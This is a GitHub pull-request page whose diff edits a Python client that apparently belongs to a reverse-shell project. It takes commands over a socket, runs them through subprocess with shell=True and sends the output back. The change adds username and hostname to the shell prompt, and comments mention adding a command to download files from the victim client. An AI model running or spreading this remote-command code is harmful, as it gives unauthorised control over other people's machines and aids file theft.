Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding a little description to interface #25

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 4 additions & 2 deletions Single_Client/client.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
import os
import socket
import subprocess

import getpass
import platform
import os

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

import os already used above in line 1

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks I did it in a hurry sorry for the repition

Copy link

@Energy1011 Energy1011 Dec 12, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No problem. I'm working in my fork adding get command to download files from client in my files branch, maybe you are interested in this feature.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was actually working on that similar goal a few weeks ago but hit a wall wld u like to see

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ok thanks, I will check it

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hope it helps


# Create a socket
def socket_create():
Expand Down Expand Up @@ -38,7 +40,7 @@ def receive_commands():
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
s.send(str.encode(output_str + str(getpass.getuser() +'@'+ platform.node()+':'+os.getcwd()) + '> '))
print(output_str)
s.close()

Expand Down